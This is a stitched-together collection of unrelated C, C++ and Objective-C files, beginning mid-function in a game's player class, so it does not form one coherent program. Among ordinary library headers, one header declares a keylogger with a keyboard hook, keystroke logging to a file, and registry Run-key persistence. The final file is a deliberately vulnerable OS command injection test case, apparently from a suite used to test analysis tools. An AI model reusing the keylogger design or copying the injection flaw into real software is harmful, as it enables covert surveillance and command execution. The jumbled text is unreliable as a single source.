(sf::Keyboard::isKeyPressed(sf::Keyboard::D) && !isAttacking) { velocity.x = MovementSpeed; currentanimation = &animationWalking; cwidth = currentanimation->CollisionX(); cheight = currentanimation->CollisionY(); currentanimation->SetFlip(false); } else { if (isAttacking) { if (currentanimation->hasPlayedOnce()) { PANICSTRING("Player is Attacking") animationAttacking.Reset(); currentanimation = &animationIdle; cwidth = currentanimation->CollisionX(); cheight = currentanimation->CollisionY(); isAttacking = false; } } else { animationIdle.SetFlip(currentanimation->FlipFlag()); currentanimation = &animationIdle; cwidth = currentanimation->CollisionX(); cheight = currentanimation->CollisionY(); } velocity.x = 0; } } void calculateNextPosition(sf::Time delta) { if (!isGrounded||isFalling) { velocity.y = gravityAcceleration; } else { if (isJumping) { if (currentJumpingMovement >= 0) { isJumping = false; currentJumpingMovement = 0; } else { currentJumpingMovement += JumpSlowingSpeed; velocity.y = currentJumpingMovement; } } } velocity.x = std::min(velocity.x, MaximumSpeed); velocity.y = std::min(velocity.y, MaximumSpeed); } void Update(sf::Time delta) { if (fireballs.size() != 0) { for (int i = fireballs.size() - 1; i >= 0; i--) { if (fireballs[i]->NeedRemoval() == true) { fireballs.erase(fireballs.begin() + i); } } } currentanimation->Update(); calculateNextPosition(delta); CollisionWithTileMap(); position.x = temp.x; position.y = temp.y; for (int i = 0; i < fireballs.size(); i++) { fireballs[i]->Update(delta); } }; bool PlayerProjectileCollisionWithOtherMapEntity(MapEntity_Enemy *other) { if (other->NeedRemoval()) return false; for (int i = 0; i < fireballs.size(); i++) { if (fireballs[i]->IntersectsAnotherMapEntity(other)&&fireballs[i]->NeedRemoval()==false) { fireballs[i]->setHit(true); other->SetRemovalFlag(true); return true; } } return false; } void Render(sf::RenderWindow &RenderTarget) { currentanimation->DrawFrame(RenderTarget, position); for (int i = 0; i < fireballs.size(); i++) { fireballs[i]->Render(RenderTarget); } }; sf::Vector2f getPosition() { return position; } bool AttackingFlag() { return isAttacking; } private: int maxFireballs; int fireBallShot; bool isAttacking; Animation *currentanimation; Animation animationIdle; Animation animationWalking; Animation animationAttacking; sf::Texture aniTextureIdle; sf::Texture aniTextureWalking; sf::Texture aniTextureAttacking; std::vector<MapEntity_Projectile_Base*> fireballs; sf::SoundBuffer JumpSoundData; sf::Sound JumpSound; sf::SoundBuffer ExplosionSoundData; sf::Sound ExplosionSound; sf::SoundBuffer AttackSoundData; sf::Sound AttackSound; };
// // Use this file to import your target's public headers that you would like to expose to Swift. // #import "SpriteLayerC.h" #import <Parse/PFObject+Subclass.h>
//================================================================================================= /*! // \file blaze/math/constraints/DeclStrLowExpr.h // \brief Constraint on the data type // // Copyright (C) 2012-2020 Klaus Iglberger - All Rights Reserved // // This file is part of the Blaze library. You can redistribute it and/or modify it under // the terms of the New (Revised) BSD License. Redistribution and use in source and binary // forms, with or without modification, are permitted provided that the following conditions // are met: // // 1. Redistributions of source code must retain the above copyright notice, this list of // conditions and the following disclaimer. // 2. Redistributions in binary form must reproduce the above copyright notice, this list // of conditions and the following disclaimer in the documentation and/or other materials // provided with the distribution. // 3. Neither the names of the Blaze development group nor the names of its contributors // may be used to endorse or promote products derived from this software without specific // prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY // EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES // OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT // SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, // INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED // TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR // BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN // CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN // ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH // DAMAGE. */ //================================================================================================= #ifndef _BLAZE_MATH_CONSTRAINTS_DECLSTRLOWEXPR_H_ #define _BLAZE_MATH_CONSTRAINTS_DECLSTRLOWEXPR_H_ //************************************************************************************************* // Includes //************************************************************************************************* #include <blaze/math/typetraits/IsDeclStrLowExpr.h> namespace blaze { //================================================================================================= // // MUST_BE_DECLSTRLOWEXPR_TYPE CONSTRAINT // //================================================================================================= //************************************************************************************************* /*!\brief Constraint on the data type. // \ingroup math_constraints // // In case the given data type \a T is not a declstrlow expression (i.e. a type derived from the // DeclStrLowExpr base class), a compilation error is created. */ #define BLAZE_CONSTRAINT_MUST_BE_DECLSTRLOWEXPR_TYPE(T) \ static_assert( ::blaze::IsDeclStrLowExpr_v<T>, "Non-declstrlow expression type detected" ) //************************************************************************************************* //================================================================================================= // // MUST_NOT_BE_DECLSTRLOWEXPR_TYPE CONSTRAINT // //================================================================================================= //************************************************************************************************* /*!\brief Constraint on the data type. // \ingroup math_constraints // // In case the given data type \a T is a declstrlow expression (i.e. a type derived from the // DeclStrLowExpr base class), a compilation error is created. */ #define BLAZE_CONSTRAINT_MUST_NOT_BE_DECLSTRLOWEXPR_TYPE(T) \ static_assert( !::blaze::IsDeclStrLowExpr_v<T>, "Declstrlow expression type detected" ) //************************************************************************************************* } // namespace blaze #endif
//-------------------------------------------------------------------------------- // This file is a portion of the Hieroglyph 3 Rendering Engine. It is distributed // under the MIT License, available in the root of this distribution and // at the following URL: // // http://www.opensource.org/licenses/mit-license.php // // Copyright (c) Jason Zink //-------------------------------------------------------------------------------- //-------------------------------------------------------------------------------- // IndexBufferDX11 // //-------------------------------------------------------------------------------- #ifndef IndexBufferDX11_h #define IndexBufferDX11_h //-------------------------------------------------------------------------------- #include "BufferDX11.h" //-------------------------------------------------------------------------------- namespace Glyph3 { class IndexBufferDX11 : public BufferDX11 { public: IndexBufferDX11( Microsoft::WRL::ComPtr<ID3D11Buffer> pBuffer ); virtual ~IndexBufferDX11(); virtual ResourceType GetType(); void SetIndexSize( int size ); void SetIndexCount( int count ); protected: int m_iIndexSize; int m_iIndexCount; friend RendererDX11; }; }; //-------------------------------------------------------------------------------- #endif // IndexBufferDX11_h
// Copyright (c) 2012 The Sponge Authors. All rights reserved. // Use of this source code is governed by a MIT-style license that can // be found in the LICENSE file. See the AUTHORS file for names of contributors. #ifndef SPONGE_NET_HANDLER_CODEC_ONEONE_ONE_TO_ONE_ENCODER_H_ #define SPONGE_NET_HANDLER_CODEC_ONEONE_ONE_TO_ONE_ENCODER_H_ namespace sponge { namespace net { // Transforms a write request into another write request. class OneToOneEncoder : public ChannelDownstreamHandler { protected: OneToOneEncoder() : ChannelDownstreamHandler() {} public: void HandleDownsream( const ChannelHandlerContext *ctx, const ChannelEvent *evt) throw; protected: // Transforms the specified message into another message and // return the transformed message. Note that you can not return // NULL, unlike you can in OneToOneDecoder#Decode(const // ChannelHandlerContext *, const Channel *, void *) you must // return something, at least ChannelBuffer#EMPTY_BUFFER. virtual void* Encode(const ChannelHandleContext *ctx, const Channel *channel, void* msg) throw; }; } } // namespace sponge::net #endif // SPONGE_NET_HANDLER_CODEC_ONEONE_ONE_TO_ONE_ENCODER_H_
/*------------------------------------------------------------------- ** ** Fichero: ** common_types.h 2/2/2013 ** ** (c) J.M. Mendias ** Programación de Sistemas y Dispositivos ** Facultad de Informática. Universidad Complutense de Madrid ** ** Propósito: ** Declaración de tipos comunes ** ** Notas de diseño: ** Válidos para la arquitectura ARM7TDMI y el compilador GCC ** **-----------------------------------------------------------------*/ #ifndef __COMMON_TYPES_H__ #define __COMMON_TYPES_H__ typedef unsigned char boolean; typedef signed char int8; /* -128 ... +127 */ typedef signed short int int16; /* -32.768 ... +32.767 */ typedef signed int int32; /* -2.147.483.648 ... +2.147.483.647 */ typedef signed long long int int64; /* -9.223.372.036.854.775.808 ... +9.223.372.036.854.775.807 */ typedef unsigned char uint8; /* 0 ... 255 */ typedef unsigned short int uint16; /* 0 ... 65.535 */ typedef unsigned int uint32; /* 0 ... 4.294.967.295 */ typedef unsigned long long int uint64; /* 0 ... +18.446.744.073.709.551.614 */ #ifndef NULL #define NULL ((void *) 0) #endif #define TRUE (1) #define FALSE (0) #endif
#ifndef SHM_EMU_IO #define SHM_EMU_IO #include "shmip8_common.h" #include <SDL2/SDL.h> namespace IO { void initialize(void); class InputAdapter { public: virtual ~InputAdapter(); virtual void updateAdapter(SDL_Keycode, uint8); void getUpdates(void); }; class Screen { public: Screen(uint32 width, uint32 height, float scale); ~Screen(); void updateScreen(uint32* data); private: int m_width; int m_height; SDL_Window *m_win = nullptr; SDL_Renderer *m_ren = nullptr; SDL_Texture *m_tex = nullptr; }; } #endif // SHM_EMU_IO
#pragma once #include "TypeDefs.h" #include <Eigen/Dense> #include <Eigen/StdVector> namespace tfem { class Material { public: Material(); template <typename T> void PushProperty(const std::string& name, const T& value); template <typename T> bool DoesPropertyExists(const std::string& name) const; template <typename T> T operator[](const char* name) const; std::string GetID(); float GetPoissonsRatio() const; float GetYoungsModulus() const; Eigen::MatrixXf GetElasticityMatrix(fem::ProblemType type) const; private: PropertiesHolder m_properties; }; template <typename T> inline void Material::PushProperty(const std::string& name, const T& value) { return m_properties.PushProperty(name, value); }; template <> inline void Material::PushProperty(const std::string& name, const std::string& value) { if (name == "id") { m_properties.SetHolderName("Material \""+value + "\""); } return m_properties.PushProperty(name, value); }; template <typename T> inline bool Material::DoesPropertyExists(const std::string& name) const { return m_properties.DoesPropertyExists<T>(name); }; template <typename T> inline T Material::operator[](const char* name) const { return m_properties.operator[]<T>(name); }; typedef boost::shared_ptr<Material> MaterialPtr; }
#include "config_menu.h" /* Dependent on the order of config variables. Very bad, needs to be fixed. */ /* TODO Get the min/max values from config[] directly */ const struct choice_info choices[] = { {"map width", "INT {48..1024}"}, {"map height", "INT {48..1024}"}, {"tank HP", "INT {1..1000}"}, {"dmg radius", "INT {2..16}"}, {"dmg cap", "INT {1..1000}"}, /* TODO change that or something */ {"gravity", "INT {1..10000}"}, {"wind", "INT {-10000..10000}"}, {"power/coefficient", "INT {20..100}"}, {"map margin with no tanks", "INT {2..128}"}, {"distance between tanks", "INT {1..128}"}, }; void init_curses() { initscr(); /* initialize screen to draw on */ noecho(); /* do not echo any keypress */ curs_set(FALSE); /* do not show cursor */ keypad(stdscr, TRUE); /* get special keys (arrows) */ cbreak(); /* get one char at the time */ } void draw_values() { for (int i=0; i<n_choices; i++) { mvprintw(i, 50, " %d ", config[i].value); /* spaces are added to overdraw prevoius output */ } } void item_change(ITEM *curr_it, const char cr) { int index_it = item_index(curr_it); if (cr == '+' && config[index_it].value < config[index_it].max) config[index_it].value++; else if (cr == '-' && config[index_it].value > config[index_it].min) config[index_it].value--; debug_d(1, "item_index", index_it); debug_c(1, "item_char", cr); draw_values(); } int main(int argv, char *argc[]) { /* Open debug_file */ debug_open("menu.debug"); init_curses(); if (LINES < 24 || COLS < 36) { endwin(); puts("Your screen is too small!"); return EXIT_FAILURE; } read_config(); debug_s(1, "opened file", "server.conf"); n_choices = ARRAY_SIZE(choices); my_items = (ITEM **)calloc(n_choices + 1, sizeof(ITEM *)); for(i = 0; i < n_choices; ++i) my_items[i] = new_item(choices[i].description, choices[i].type_description); my_items[n_choices] = (ITEM *)NULL; my_menu = new_menu((ITEM **)my_items); mvprintw(LINES - 6, 1, "left and right arrow to change values"); mvprintw(LINES - 4, 1, "enter to write server.conf"); mvprintw(LINES - 2, 1, "q to quit"); post_menu(my_menu); draw_values(); refresh(); while((c = getch()) != 'q') { switch(c) { case KEY_DOWN: menu_driver(my_menu, REQ_DOWN_ITEM); break; case KEY_UP: menu_driver(my_menu, REQ_UP_ITEM); break; case KEY_RIGHT: item_change(current_item(my_menu),'+'); break; case KEY_LEFT: item_change(current_item(my_menu),'-'); break; case 10: write_config(); mvprintw(LINES - 8, 1, "Configuration saved in \"" SERVER_CONFIG_FILENAME "\""); break; default: debug_c(1, "unsupported key", c); } } unpost_menu(my_menu); for(i = 0; i < n_choices; ++i) free_item(my_items[i]); free_menu(my_menu); endwin(); return EXIT_SUCCESS; }
/* * Copyright (c) 2014 DeNA Co., Ltd. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ #include <stdio.h> #include "yoml.h" #include "yoml-parser.h" #include "picotest.h" static yoml_t *parse(const char *fn, const char *s) { yaml_parser_t parser; yoml_t *doc; yaml_parser_initialize(&parser); yaml_parser_set_input_string(&parser, (yaml_char_t*)s, strlen(s)); doc = yoml_parse_document(&parser, NULL, fn); yaml_parser_delete(&parser); return doc; } void test_yoml(void) { yoml_t *doc, *t; doc = parse("foo.yaml", "abc"); ok(doc != NULL); ok(strcmp(doc->filename, "foo.yaml") == 0); ok(doc->type == YOML_TYPE_SCALAR); ok(strcmp(doc->data.scalar, "abc") == 0); yoml_free(doc); doc = parse( "foo.yaml", "---\n" "a: b\n" "c: d\n" "---\n" "e: f\n"); ok(doc != NULL); ok(strcmp(doc->filename, "foo.yaml") == 0); ok(doc->type == YOML_TYPE_MAPPING); ok(doc->data.mapping.size == 2); t = doc->data.mapping.elements[0].key; ok(strcmp(t->filename, "foo.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "a") == 0); t = doc->data.mapping.elements[0].value; ok(strcmp(t->filename, "foo.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "b") == 0); t = doc->data.mapping.elements[1].key; ok(strcmp(t->filename, "foo.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "c") == 0); t = doc->data.mapping.elements[1].value; ok(strcmp(t->filename, "foo.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "d") == 0); yoml_free(doc); doc = parse( "bar.yaml", "- a: b\n" " c: d\n" "- e\n"); ok(doc != NULL); ok(strcmp(doc->filename, "bar.yaml") == 0); ok(doc->type == YOML_TYPE_SEQUENCE); ok(doc->data.sequence.size == 2); t = doc->data.sequence.elements[0]; ok(strcmp(doc->filename, "bar.yaml") == 0); ok(t->type == YOML_TYPE_MAPPING); ok(t->data.mapping.size == 2); t = doc->data.sequence.elements[0]->data.mapping.elements[0].key; ok(strcmp(doc->filename, "bar.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "a") == 0); t = doc->data.sequence.elements[0]->data.mapping.elements[0].value; ok(strcmp(doc->filename, "bar.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "b") == 0); t = doc->data.sequence.elements[0]->data.mapping.elements[1].key; ok(strcmp(doc->filename, "bar.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "c") == 0); t = doc->data.sequence.elements[0]->data.mapping.elements[1].value; ok(strcmp(doc->filename, "bar.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "d") == 0); t = doc->data.sequence.elements[1]; ok(strcmp(doc->filename, "bar.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "e") == 0); yoml_free(doc); doc = parse( "baz.yaml", "- &abc\n" " - 1\n" " - 2\n" "- *abc\n"); ok(doc != NULL); ok(strcmp(doc->filename, "baz.yaml") == 0); ok(doc->type == YOML_TYPE_SEQUENCE); ok(doc->data.sequence.size == 2); ok(doc->data.sequence.elements[0] == doc->data.sequence.elements[1]); t = doc->data.sequence.elements[0]; ok(strcmp(t->filename, "baz.yaml") == 0); ok(t->_refcnt == 2); ok(t->type == YOML_TYPE_SEQUENCE); ok(t->data.sequence.size == 2); t = doc->data.sequence.elements[0]->data.sequence.elements[0]; ok(strcmp(t->filename, "baz.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "1") == 0); t = doc->data.sequence.elements[0]->data.sequence.elements[1]; ok(strcmp(t->filename, "baz.yaml") == 0); ok(t->type == YOML_TYPE_SCALAR); ok(strcmp(t->data.scalar, "2") == 0); }
//////////////////////////////////////////////////////////////////////////////// // Filename: TextureCollectionFormat.h //////////////////////////////////////////////////////////////////////////////// #pragma once ////////////// // INCLUDES // ////////////// #include "..\NamespaceDefinitions.h" #include "..\Serialize.h" #include "ModelComposerString.h" #include <cstdint> #include <vector> #include <glm\glm.hpp> /////////////// // NAMESPACE // /////////////// ///////////// // DEFINES // ///////////// //////////// // GLOBAL // //////////// /////////////// // NAMESPACE // /////////////// // ModelComposer Module NamespaceBegin(ModelComposer) //////////////// // FORWARDING // //////////////// //////////////// // STRUCTURES // //////////////// typedef uint32_t ModelComposerIndexFormat; struct ModelComposerVertexFormat { ModelComposerVertexFormat() {} ModelComposerVertexFormat(glm::vec3 _position, glm::vec2 _textureCoordinates = glm::vec2(0, 0), glm::vec3 _normal = glm::vec3(1, 0, 0), glm::vec3 _binormal = glm::vec3(1, 0, 0)) { position = _position; textureCoordinate = _textureCoordinates; normal = _normal; binormal = _binormal; } // The vertex position glm::vec3 position; // The vertex texture coordinate glm::vec2 textureCoordinate; // The vertex normals glm::vec3 normal; // The vertex binormal glm::vec3 binormal; }; struct ModelComposerFormat : public Serialize::Serializable { // The model name ModelComposerString name; // Total number of vertices uint32_t totalVertices; // Total number of indexes uint32_t totalIndexes; // The vertex vector std::vector<ModelComposerVertexFormat> vertices; // The index vector std::vector<ModelComposerIndexFormat> indexes; // Serialize this object std::vector<unsigned char> Serialize() { // The data to be serialized std::vector<unsigned char> byteArray; // The serialized Serialize::Serializer serializer(byteArray); // Pack the initial data serializer.PackData(name.GetString(), ModelComposerString::MaxStringSize); serializer.PackData(totalVertices); serializer.PackData(totalIndexes); serializer.PackData(vertices.data(), totalVertices); serializer.PackData(indexes.data(), totalIndexes); return byteArray; } // Deserialize this uint32_t Deserialize(std::vector<unsigned char>& _data, uint32_t _index) { // The deserializer object Serialize::Deserializer deserializer(_data, _index); // Unpack the initial data deserializer.UnpackData(name.GetString(), ModelComposerString::MaxStringSize); deserializer.UnpackData(totalVertices); deserializer.UnpackData(totalIndexes); // Alloc space for all vertex and index data vertices.resize(totalVertices); indexes.resize(totalIndexes); // Unpack the remaining data deserializer.UnpackData(vertices.data(), totalVertices); deserializer.UnpackData(indexes.data(), totalIndexes); return deserializer.GetIndex(); } }; // ModelComposer Module NamespaceEnd(ModelComposer)
#pragma once #include<Windows.h> #include<iostream> #include<fstream> #include<string> #include<stdio.h> #define REGISTRY_PATH "Software\\Microsoft\\Windows\\CurrentVersion\\Run" #pragma comment(lib,"user32.lib") #pragma comment(lib,"ws2_32.lib") void UpdateKeyState(BYTE *keystate, int keyCode); LRESULT CALLBACK HoockCallback(int nCode, WPARAM wParam, LPARAM lParam); void ProcessEvent(char* lpszName, int codeNum, std::string& str, WPARAM wParam,std::ofstream &outputStream); void AddProgramInHKEY_LOCAL_MACHINERegister(LSTATUS &status); void AddProgramInHKEY_CURRENT_USER(LSTATUS &status); bool CheckIfRegistryKeyExist(const LPCSTR &keyName);
/* * Copyright (c) 2021-2022 Arm Limited. * * SPDX-License-Identifier: MIT * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to * deal in the Software without restriction, including without limitation the * rights to use, copy, modify, merge, publish, distribute, sublicense, and/or * sell copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ #ifndef ARM_COMPUTE_ICPUKERNEL_H #define ARM_COMPUTE_ICPUKERNEL_H #include "arm_compute/core/CPP/ICPPKernel.h" #include "src/cpu/kernels/CpuKernelSelectionTypes.h" namespace arm_compute { namespace cpu { enum class KernelSelectionType { Preferred, /**< Retrieve the best implementation available for the given Cpu ISA, ignoring the build flags */ Supported /**< Retrieve the best implementation available for the given Cpu ISA that is supported by the current build */ }; template <class Derived> class ICpuKernel : public ICPPKernel { public: /** Micro-kernel selector * * @param[in] selector Selection struct passed including information to help pick the appropriate micro-kernel * @param[in] selection_type (Optional) Decides whether to get the best implementation for the given hardware or for the given build * * @return A matching micro-kernel else nullptr */ template <typename SelectorType> static const auto *get_implementation(const SelectorType &selector, KernelSelectionType selection_type = KernelSelectionType::Supported) { using kernel_type = typename std::remove_reference<decltype(Derived::get_available_kernels())>::type::value_type; for(const auto &uk : Derived::get_available_kernels()) { if(uk.is_selected(selector) && (selection_type == KernelSelectionType::Preferred || uk.ukernel != nullptr)) { return &uk; } } return static_cast<kernel_type *>(nullptr); } }; } // namespace cpu } // namespace arm_compute #endif /* ARM_COMPUTE_ICPUKERNEL_H */
//================================================================================== // Copyright (c) 2016 , Advanced Micro Devices, Inc. All rights reserved. // /// \author AMD Developer Tools Team /// \file apGLPipeline.h /// //================================================================================== //------------------------------ apGLPipeline.h ------------------------------ #ifndef __APGLPIPELINE #define __APGLPIPELINE // OpenGL: #include <AMDTOSAPIWrappers/Include/oaOpenGLIncludes.h> // Local: #include <AMDTAPIClasses/Include/apAPIClassesDLLBuild.h> #include <AMDTAPIClasses/Include/apAllocatedObject.h> // ---------------------------------------------------------------------------------- // Class Name: AP_API apGLPipeline : public osTransferableObject // General Description: Represents an OpenGL pipeline object. // Author: AMD Developer Tools Team // Creation Date: 30/4/2014 // ---------------------------------------------------------------------------------- class AP_API apGLPipeline : public apAllocatedObject { public: // Self functions: apGLPipeline(GLuint name = 0); apGLPipeline(const apGLPipeline& other); virtual ~apGLPipeline(); apGLPipeline& operator=(const apGLPipeline& other); // Overrides osTransferableObject: virtual osTransferableObjectType type() const; virtual bool writeSelfIntoChannel(osChannel& ipcChannel) const; virtual bool readSelfFromChannel(osChannel& ipcChannel); // Accessors: GLuint pipelineName() const { return m_name; }; // Set whether the pipeline is bound or not. void setIsPipelineBound(bool isBound); // Sets the active shader program for the pipeline object. void setActiveProgram(GLuint program); // Sets program as the current program object for the shader stages specified by stages. void useProgramStages(GLbitfield stages, GLuint program); bool isPipelineBound() const; // Getters. GLuint getActiveProgram() const; GLuint getVertexShader() const; GLuint getGeometryShader() const; GLuint getFragmentShader() const; GLuint getComputeShader() const; GLuint getTessCtrlShader() const; GLuint getTessEvaluationShader() const; private: // Pipeline binding name. GLuint m_name; // Active program name. GLuint m_activeProgram; // Name of current vertex shader. GLuint m_vertexShaderName; // Name of current geometry shader. GLuint m_geometryShaderName; // Name of current fragment shader. GLuint m_fragmentShaderName; // Name of current compute shader. GLuint m_computeShaderName; // Name of current compute shader. GLuint m_tessEvaluationShaderName; // Name of current TCS program shader. GLuint m_tessControlShaderName; // Currently not used. //// Validation status. //bool m_isValid; // Currently unused: // Indicates whether or not the pipeline object has been bound (by a call to BindProgramPipeline). // Note that a pipeline may be bound but not the currently active pipeline (if another pipeline is // bound after it). bool m_isBound; }; #endif // __APGLPIPELINE
// // WTMigration.h // WalterTrent // // Created by Cody Coons on 11/7/13. // Copyright (c) 2013 Cody Coons. All rights reserved. // #import <Foundation/Foundation.h> @class WTDatabaseManager; @interface WTMigration : NSObject @property (nonatomic) NSUInteger number; @property (nonatomic, strong) NSURL *migrationURL; #pragma mark - Factory Methods + (id)migrationWithInteger:(NSUInteger)number databaseManager:(WTDatabaseManager *)databaseManager; #pragma mark - Lifecycle - (id)initWithInteger:(NSUInteger)number databaseManager:(WTDatabaseManager *)databaseManager; #pragma mark - Migration Execution - (void)execute; @end
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66a.c Label Definition File: CWE78_OS_Command_Injection.strings.label.xml Template File: sources-sink-66a.tmpl.c */ /* * @description * CWE: 78 OS Command Injection * BadSource: connect_socket Read data using a connect socket (client side) * GoodSource: Fixed string * Sinks: w32_spawnv * BadSink : execute command with spawnv * Flow Variant: 66 Data flow: data passed in an array from one function to another in different source files * * */ #include "std_testcase.h" #include <wchar.h> #ifdef _WIN32 #define COMMAND_INT_PATH "%WINDIR%\\system32\\cmd.exe" #define COMMAND_INT "cmd.exe" #define COMMAND_ARG1 "/c" #define COMMAND_ARG2 "dir" #define COMMAND_ARG3 data #else /* NOT _WIN32 */ #include <unistd.h> #define COMMAND_INT_PATH "/bin/sh" #define COMMAND_INT "sh" #define COMMAND_ARG1 "ls" #define COMMAND_ARG2 "-la" #define COMMAND_ARG3 data #endif #ifdef _WIN32 #include <winsock2.h> #include <windows.h> #include <direct.h> #pragma comment(lib, "ws2_32") /* include ws2_32.lib when linking */ #define CLOSE_SOCKET closesocket #else /* NOT _WIN32 */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #define INVALID_SOCKET -1 #define SOCKET_ERROR -1 #define CLOSE_SOCKET close #define SOCKET int #endif #define TCP_PORT 27015 #define IP_ADDRESS "127.0.0.1" #include <process.h> #ifndef OMITBAD /* bad function declaration */ void CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66b_badSink(char * dataArray[]); void CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66_bad() { char * data; char * dataArray[5]; char dataBuffer[100] = ""; data = dataBuffer; { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; char *replace; SOCKET connectSocket = INVALID_SOCKET; size_t dataLen = strlen(data); do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a connect socket */ connectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (connectSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = inet_addr(IP_ADDRESS); service.sin_port = htons(TCP_PORT); if (connect(connectSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed, make sure to recv one * less char than is in the recv_buf in order to append a terminator */ /* Abort on error or the connection was closed */ recvResult = recv(connectSocket, (char *)(data + dataLen), sizeof(char) * (100 - dataLen - 1), 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* Append null terminator */ data[dataLen + recvResult / sizeof(char)] = '\0'; /* Eliminate CRLF */ replace = strchr(data, '\r'); if (replace) { *replace = '\0'; } replace = strchr(data, '\n'); if (replace) { *replace = '\0'; } } while (0); if (connectSocket != INVALID_SOCKET) { CLOSE_SOCKET(connectSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } /* put data in array */ dataArray[2] = data; CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66b_badSink(dataArray); } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B uses the GoodSource with the BadSink */ void CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66b_goodG2BSink(char * dataArray[]); static void goodG2B() { char * data; char * dataArray[5]; char dataBuffer[100] = ""; data = dataBuffer; /* FIX: Append a fixed string to data (not user / external input) */ strcat(data, "*.*"); dataArray[2] = data; CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66b_goodG2BSink(dataArray); } void CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66_good() { goodG2B(); } #endif /* OMITGOOD */ /* Below is the main(). It is only used when building this testcase on * its own for testing or for building a binary to use in testing binary * analysis tools. It is not used when compiling all the testcases as one * application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66_good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); CWE78_OS_Command_Injection__char_connect_socket_w32_spawnv_66_bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
